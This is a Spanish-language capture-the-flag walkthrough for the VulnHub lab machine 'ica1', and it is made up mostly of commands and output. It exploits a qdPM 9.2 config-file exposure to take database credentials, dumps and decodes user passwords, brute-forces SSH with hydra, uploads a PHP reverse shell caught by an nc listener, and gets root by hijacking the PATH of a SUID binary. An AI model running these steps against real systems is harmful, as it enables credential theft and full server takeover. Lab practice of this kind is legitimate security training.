Ica1 VulnHub

Escaneo de puertos

nmap -p- --min-rate 5000 -sS <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-18 18:51 CEST
Nmap scan report for 192.168.28.35
Host is up (0.00032s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 0e:77:d9:cb:f8:05:41:b9:e4:45:71:c1:01:ac:da:93 (RSA)
|   256 40:51:93:4b:f8:37:85:fd:a5:f4:d7:27:41:6c:a0:a5 (ECDSA)
|_  256 09:85:60:c5:35:c1:4d:83:76:93:fb:c7:f0:cd:7b:8e (ED25519)
80/tcp    open  http    Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: qdPM | Login
3306/tcp  open  mysql   MySQL 8.0.26
|_ssl-date: TLS randomness does not represent time
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.26
|   Thread ID: 44
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, SwitchToSSLAfterHandshake, LongPassword, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, ConnectWithDatabase, FoundRows, IgnoreSigpipes, InteractiveClient, SupportsTransactions, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, LongColumnFlag, Speaks41ProtocolOld, ODBCClient, SupportsCompression, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: \x13v7\x03?j\x0EQ~"0F\x10\x01#\x0D\x17ez\x0F
|_  Auth Plugin Name: caching_sha2_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.26_Auto_Generated_Server_Certificate
| Not valid before: 2021-09-25T10:47:29
|_Not valid after:  2031-09-23T10:47:29
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.94SVN%I=7%D=5/18%Time=6648DC97%P=x86_64-pc-linux-gnu%
SF:r(NULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x
SF:0b\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTT
SF:POptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\
SF:x0b\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSV
SF:ersionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTC
SF:P,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x
SF:0fInvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\
SF:0")%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\
SF:x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCoo
SF:kie,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0
SF:b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20messag
SF:e\"\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNe
SF:g,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05
SF:HY000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDStri
SF:ng,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message
SF:\"\x05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x
SF:01\x08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x2
SF:0message\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(
SF:LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0
SF:\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(Note
SF:sRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1
SF:a\x0fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x0
SF:5\x1a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,3
SF:2,"\x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Inva
SF:lid\x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x0
SF:5\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\
SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000");
MAC Address: 08:00:27:41:AB:87 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.32 ms 192.168.28.35

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.18 seconds

Puerto 80

Cuando pongamos la IP para ver la pagina web, nos aparecera un panel de login, pero si te fijas abajo nos aparece la version con la cual se esta utilizando esa pagina web y en la que contiene la base de datos por lo que buscaremos un exploit...

searchsploit qdPM 9.2

#Info de la busqueda
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
qdPM 9.2 - Cross-site Request Forgery (CSRF)                                                                               | php/webapps/50854.txt
qdPM 9.2 - Password Exposure (Unauthenticated)                                                                             | php/webapps/50176.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Nos apareceran 2 resultados, pero el que nos interesa es el segundo qdPM 9.2 - Password Exposure (Unauthenticated) por lo que lo buscamos en internet para ver el contenido del exploit...

# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
# Date: 03/08/2021
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: https://qdpm.net/
# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
# Version: 9.2
# Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4

The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.

Lo que nos dice aqui es que tiene una vulnerabilidad esta version la cual poniendo esa ruta nos descarga el archivo donde se almacenan contraseñas y usuarios...

URL: http://<IP>/core/config/databases.yml

Esto nos descargara un archivo que dentro del mismo veremos lo siguiente...

all:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn: 'mysql:dbname=qdpm;host=localhost'
      profiler: false
      username: qdpmadmin
      password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"
      attributes:
        quote_identifier: true

Por lo que se puede ver aparece el usuario y contraseña del login para entrara en la base de datos de mysql, pero la contraseña esta codificada en php, por lo que haremos lo siguiente...

user = qdpmadmin
password = UcVQCMQk2STVeS6J

mysql -h <IP> -u qdpmadmin -pUcVQCMQk2STVeS6J

Con esto ya estariamos dentro de la base de datos de mysql como administrador...

Dentro de mysql haremos lo siguiente...

show databases;

#Info de la base de datos
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| qdpm               |
| staff              |
| sys                |
+--------------------+

#Para utilizar la base de datos de staff
use staff;

#Para ver el contenido de la base de datos elegida
show tables;

#Info de las tablas de esta base de datos
+-----------------+
| Tables_in_staff |
+-----------------+
| department      |
| login           |
| user            |
+-----------------+

select * from login;

#Para ver el contenido de la tabla login
+------+---------+--------------------------+
| id   | user_id | password                 |
+------+---------+--------------------------+
|    1 |       2 | c3VSSkFkR3dMcDhkeTNyRg== |
|    2 |       4 | N1p3VjRxdGc0MmNtVVhHWA== |
|    3 |       1 | WDdNUWtQM1cyOWZld0hkQw== |
|    4 |       3 | REpjZVZ5OThXMjhZN3dMZw== |
|    5 |       5 | Y3FObkJXQ0J5UzJEdUpTeQ== |
+------+---------+--------------------------+

select * from user;

#Para ver el contenido de la tabla user
+------+---------------+--------+---------------------------+
| id   | department_id | name   | role                      |
+------+---------------+--------+---------------------------+
|    1 |             1 | Smith  | Cyber Security Specialist |
|    2 |             2 | Lucas  | Computer Engineer         |
|    3 |             1 | Travis | Intelligence Specialist   |
|    4 |             1 | Dexter | Cyber Security Analyst    |
|    5 |             2 | Meyer  | Genetic Engineer          |
+------+---------------+--------+---------------------------+

select * from department;

#Para ver el contenido de la tabla department
+------+----------+
| id   | name     |
+------+----------+
|    1 | Agent    |
|    2 | Engineer |
+------+----------+

Ahora nos haremos 2 diccionarios uno de usuarios y el otro de contraseñas para utilizar un hydra para ssh...

user.txt

Smith
smith
Lucas
lucas
Travis
travis
Dexter
dexter
Meyer
meyer

En el siguiente diccionario de contraseñas lo decodificaremos primero ya que esta codificado en Base64 quedando de la siguiente manera...

passwords.txt

suRJAdGwLp8dy3rF
7ZwV4qtg42cmUXGX
X7MQkP3W29fewHdC
DJceVy98W28Y7wLg
cqNnBWCByS2DuJSy

hydra -L users.txt -P passwords.txt ssh://<IP>/ -t 64

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-18 20:21:13
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 50 tasks per 1 server, overall 50 tasks, 50 login tries (l:10/p:5), ~1 try per task
[DATA] attacking ssh://192.168.28.35:22/
[22][ssh] host: 192.168.28.35   login: travis   password: DJceVy98W28Y7wLg
[22][ssh] host: 192.168.28.35   login: dexter   password: 7ZwV4qtg42cmUXGX
1 of 1 target successfully completed, 2 valid passwords found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-18 20:21:21

ssh travis@<IP>

ssh dexter@<IP>

Con esto ya estariamos dentro del servidor...

Leemos la flag...

user.txt (flag1)

ICA{Secret_Project}

Segunda ruta para entrar al servidor por www-data (Reverse Shell)

Si nos dirijimos de nuevo a mysql nos vamos dentro de una base de datos llamada qdpm nos encontramos muchas tablas, pero entre ellas hay una que es la que contiene el correo y el password del administrador para entrara por el login de la pagina...

use qdpm;

#Dentro de la base de datos
show tables;

+----------------------+
| Tables_in_qdpm       |
+----------------------+
| attachments          |
| configuration        |
| departments          |
| discussions          |
| discussions_comments |
| discussions_reports  |
| discussions_status   |
| events               |
| extra_fields         |
| extra_fields_list    |
| phases               |
| phases_status        |
| projects             |
| projects_comments    |
| projects_phases      |
| projects_reports     |
| projects_status      |
| projects_types       |
| tasks                |
| tasks_comments       |
| tasks_groups         |
| tasks_labels         |
| tasks_priority       |
| tasks_status         |
| tasks_types          |
| tickets              |
| tickets_comments     |
| tickets_reports      |
| tickets_status       |
| tickets_types        |
| user_reports         |
| users                |
| users_groups         |
| versions             |
| versions_status      |
+----------------------+

#Seleccionamos la tabla de configuration
select * from configuration;

#Info
+----+--------------------------------------+--------------------------------------------------------------------------------------------------------------------------+
| id | key                                  | value                                                                                                                    |
+----+--------------------------------------+--------------------------------------------------------------------------------------------------------------------------+
|  1 | app_administrator_email              | admin@localhost.com                                                                                                      |
|  2 | app_administrator_password           | $P$EmesnWRcY9GrK0hDzwaV3rvQnMJ/Fx0                                                                                       |
|  3 | app_app_name                         | Workspace                                                                                                                |
|  4 | app_app_short_name                   | qdPM                                                                                                                     |
|  5 | app_email_label                      | qdPM -                                                                                                                   |
|  6 | app_default_skin                     | qdPM                                                                                                                     |
|  7 | sf_default_timezone                  | America/New_York                                                                                                         |
|  8 | sf_default_culture                   | en                                                                                                                       |
|  9 | app_rows_per_page                    | 15                                                                                                                       |
| 10 | app_custom_short_date_format         | M d, Y                                                                                                                   |
| 11 | app_custom_logn_date_format          | M d, Y H:i                                                                                                               |
| 12 | app_allow_adit_tasks_comments_date   | off                                                                                                                      |
| 13 | app_show_menu_icons                  | off                                                                                                                      |
| 14 | app_show_footer_links                | off                                                                                                                      |
| 15 | app_tasks_fields_tasks_version       | off                                                                                                                      |
| 16 | app_tasks_fields_tasks_phase         | on                                                                                                                       |
| 17 | app_tasks_fields_tasks_group         | off                                                                                                                      |
| 18 | app_tasks_fields_priority            | on                                                                                                                       |
| 19 | app_tasks_fields_label               | on                                                                                                                       |
| 20 | app_tasks_fields_id                  | off                                                                                                                      |
| 21 | app_tasks_fields_name                | on                                                                                                                       |
| 22 | app_tasks_fields_status              | on                                                                                                                       |
| 23 | app_tasks_fields_assigned_to         | on                                                                                                                       |
| 24 | app_tasks_fields_created_by          | off                                                                                                                      |
| 25 | app_tasks_fields_estimated_time      | on                                                                                                                       |
| 26 | app_tasks_fields_start_date          | off                                                                                                                      |
| 27 | app_tasks_fields_due_date            | on                                                                                                                       |
| 28 | app_tasks_fields_progress            | off                                                                                                                      |
| 29 | app_tasks_fields_created_at          | off                                                                                                                      |
| 30 | app_use_skins                        | on                                                                                                                       |
| 31 | app_use_related_tasks                | on                                                                                                                       |
| 32 | app_use_public_tickets               | on                                                                                                                       |
| 33 | app_public_tickets_show_login_link   | off                                                                                                                      |
| 34 | app_public_tickets_allow_attachments | on                                                                                                                       |
| 35 | app_use_project_phases               | on                                                                                                                       |
| 36 | app_use_project_versions             | on                                                                                                                       |
| 37 | app_use_project_discussions          | on                                                                                                                       |
| 38 | app_use_tasks_groups                 | on                                                                                                                       |
| 39 | app_use_tasks_timetracker            | on                                                                                                                       |
| 40 | app_use_fck_editor                   | on                                                                                                                       |
| 41 | app_notify_all_project_team          | off                                                                                                                      |
| 42 | app_notify_all_customers             | off                                                                                                                      |
| 43 | app_use_single_email                 | off                                                                                                                      |
| 44 | app_single_email_addres_from         |                                                                                                                          |
| 45 | app_single_name_from                 |                                                                                                                          |
| 46 | app_use_smtp                         | off                                                                                                                      |
| 47 | app_smtp_server                      |                                                                                                                          |
| 48 | app_smtp_port                        | 25                                                                                                                       |
| 49 | app_smtp_encryption                  | NULL                                                                                                                     |
| 50 | app_smtp_login                       |                                                                                                                          |
| 51 | app_smtp_pass                        |                                                                                                                          |
| 52 | app_use_ldap_login                   | off                                                                                                                      |
| 53 | app_ldap_host                        |                                                                                                                          |
| 54 | app_ldap_port                        |                                                                                                                          |
| 55 | app_ldap_base_dn                     |                                                                                                                          |
| 56 | app_ldap_version                     | 3                                                                                                                        |
| 57 | app_use_email_notification           | on                                                                                                                       |
| 58 | app_show_user_email                  | off                                                                                                                      |
| 59 | app_show_user_photo                  | on                                                                                                                       |
| 60 | app_tasks_fields_type                | off                                                                                                                      |
| 61 | app_login_page_heading               | Welcome to qdPM                                                                                                          |
| 62 | app_login_page_content               |                                                                                                                          |
| 63 | app_new_user_email_subject           | NULL                                                                                                                     |
| 64 | app_new_user_email_body              |                                                                                                                          |
| 65 | app_amount_previous_comments         | 2                                                                                                                        |
| 66 | app_rows_limit                       | 150                                                                                                                      |
| 67 | app_tasks_columns_list               | TasksGroups,Versions,ProjectsPhases,TasksPriority,Name,TasksStatus,TasksTypes,AssignedTo,EstimatedTime,WorkHours,DueDate |
| 68 | app_send_email_to_owner              | off                                                                                                                      |
| 69 | app_public_tickets_use_antispam      | on                                                                                                                       |
| 70 | app_app_logo                         |                                                                                                                          |
| 71 | app_use_javascript_dropdown          | on                                                                                                                       |
+----+--------------------------------------+--------------------------------------------------------------------------------------------------------------------------+

#Cambiar el password del admin utilizando la misma codificacion
UPDATE configuration SET value = '<PASSWORD>' WHERE `key` = 'app_administrator_password';

En mi caso utilice una pagina para codificar la contraseña con la misma codificacion que utiliza mysql...

URL = https://www.useotools.com/wordpress-password-hash-generator/output

En mi caso codifique la palabra admin y se tendria que ver algo tal que asi...

admin = $P$BxFuudE/bj07y8M7fIAS2VsWHUj34U.

Una vez hechos estos cambios, nos dirigimos a la pagina web e ingresamos las credenciales...

User = admin@localhost.com
Password = $P$BxFuudE/bj07y8M7fIAS2VsWHUj34U.

Una vez dentro creamos un usuario de rango Administrador una vez hecho esto, nos metemos con ese usuario, estando dentro aparecera otras opciones que tocar...

Creamos un nuevo proyecto en el que adjuntamos un archivo con una reverse shell, seguidamente en la pagina web nos vamos a la URL de /uploads/attachments/ y ahi estaria nuestro archivo de .php subido...

nc -lvnp <PORT>

Una vez estando a la escucha y clicando el archivo tendriamos una shell de www-data...

sanitizamos la shell...

script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

De aqui se puede escalar a los usuarios que ya conseguimos anteriormente por lo que se puede hacer de las dos maneras...

Escalada de privilegios

Si vemos los permisos SUID que tenemos...

find / -type f -perm -4000 -ls 2>/dev/null

Info:

/opt/get_access
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

Nos aparece un binario que no suele aparecer en estos comandos que es el siguiente /opt/get_access, si lo ejecutamos por lo que vemos nos aparece como un error de un servidor y poco mas, pero si le tiramos el siguiente comando...

strings /opt/get_access

Info:

/lib64/ld-linux-x86-64.so.2
setuid
socket
puts
system
__cxa_finalize
setgid
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
cat /root/system.info
Could not create socket to access to the system.
All services are disabled. Accessing to the system is allowed only within working hours.
;*3$"
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
get_access.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
_edata
system@GLIBC_2.2.5
__libc_start_main@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
setgid@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@GLIBC_2.2.5
__cxa_finalize@GLIBC_2.2.5
socket@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

Cuando se ejecuta, como que ejecuta el siguiente comando cat /root/system.info por lo que podemos escalar desde ahi haciendo lo siguiente...

echo "/bin/sh" > /tmp/cat

chmod +x /tmp/cat

export PATH=/tmp:$PATH

/opt/get_access

Con esto ya seriamos root lo que estamos haciendo aqui es que estamos creando un cat en /tmp/ con una shell y exportamos un $PATH en la ubicacion de /tmp/ para que cuando ejecutemos ese binario ya que ejecuta un cat lo ejecute pero en el /tmp/ con ese cat que creamos y como eso tiene permisos de SUID lo va a ejecutar como root por lo que la shell que nos devuelve va a ser autenticada como root...

Leemos la flag de root...

root.txt (flag2)

ICA{Next_Generation_Self_Renewable_Genetics}

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Last updated 1 year ago